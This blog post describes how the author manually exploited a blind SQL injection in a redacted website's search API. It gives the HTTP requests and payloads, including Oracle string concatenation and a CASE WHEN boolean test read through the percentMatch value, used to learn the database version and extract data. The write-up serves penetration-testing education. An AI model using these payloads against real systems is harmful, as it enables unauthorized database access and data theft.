Manually craft blind SQL injections

How to leverage search results to exfiltrate database information using a blind SQL injection.

Breaking the search

Some time ago I was assessing a website; while wandering around, I found an interesting output for the search feature.
If I put a single quote inside a query param, I would get a service error:

POST /search HTTP/1.1
Host: redacted.com

{"postalCode":"10001","features":{"foo": "bar'", "dummy":"xxx"}}

HTTP/1.1 200 OK

{"status":"error","data":null,"messages":["Service is currently down."]}

But wait, there's more! By running Burp Pro loaded with Backslash Powered Scanner, I got an even more interesting result:

POST /search HTTP/1.1
Host: redacted.com

{"postalCode":"10001","features":{"foo": "'||abs(1)||'", "dummy":"xxx"}}

HTTP/1.1 200 OK

{
  "status": "success",
  "data": {
    "lnvresponse": {
      "itemsMap": {
        "itemId": [
          {
            [snip],
            "percentMatch": 75.0,
            [snip]
          }
        ]
      },
      "exceptionsList": []
    }
  },
  "messages": null
}

Exploit the blind SQL injection

Ah, that's wonderful! I was able to trigger an error and then create a valid SQL statement with injected values: that's the perfect scenario to extract some data using the blind SQL injection technique and file a report.
Time to spin SQLmap and extract some info!

Bummer...

SQLmap finds nothing. Zero. Nichts. Nada.
It even can't detect the injection point.
WTF?

I'll spare you the countless hours I spent trying to tweak SQLmap to run correctly.
No joy, so it's time to do it the old: by hand.

Digging deeper

Inspecting the resutls, I found something very useful. During the search, you can specifiy several attributes and the service will return how much each item is close to your original request. Such value is held inside the param percentMatch. For example:


POST /search HTTP/1.1
Host: redacted.com

{"postalCode":"10001","features":{"foo": "bar", "dummy":"xxx"}}

HTTP/1.1 200 OK
[snip]
"percentMatch": 100.0
[snip]

POST /search HTTP/1.1
Host: redacted.com

{"postalCode":"10001","features":{"foo": "SOMETHING", "dummy":"xxx"}}

HTTP/1.1 200 OK
[snip]
"percentMatch": 50.0
[snip]

This means that there's an item with the attribute foo equals to bar and dummy equals to xxx.
Since we can contatenate strings, maybe we could exploit it in any way?

Handcrafted payload

Yes, we can.
First of all let's review the envrironment: we know we can safely concatenate strings, by adding a quote and using the || operator. Then we know the underlying database is Oracle, since we can use the || operator.
What we can do, is to use the foo param to check if the statement we're passing evaluates to TRUE or FALSE. In the case it's TRUE, foo will be equal to bar (resulting in a percentMatch of 100), while if it's false it would be equal to baz (resulting in a percentMatch of 50).
By inspecting the search result, we can extract data and infer the database version:


POST /search HTTP/1.1
Host: redacted.com

{"postalCode":"10001","features":{"foo": "ba'|| (CASE WHEN (INSTR((SELECT * FROM v$version WHERE banner LIKE 'Oracle%'), '11') > 0) THEN 'r' ELSE 'z' END) ||'", "dummy":"xxx"}}

HTTP/1.1 200 OK
[snip]
"percentMatch": 100.0
[snip]

Since we got 100 as percentMatch, it means that the Oracle version is 11. By applying the same logic to more sensitive tables, I could extract a lot of data.

Conclusions

You should always remember that tools will simply give you a nudge in the right direction, they won't do any "magic".
It's your task to double check the interesting results and focus on the most promising ones.

Comments:

Blog Comments powered by Disqus.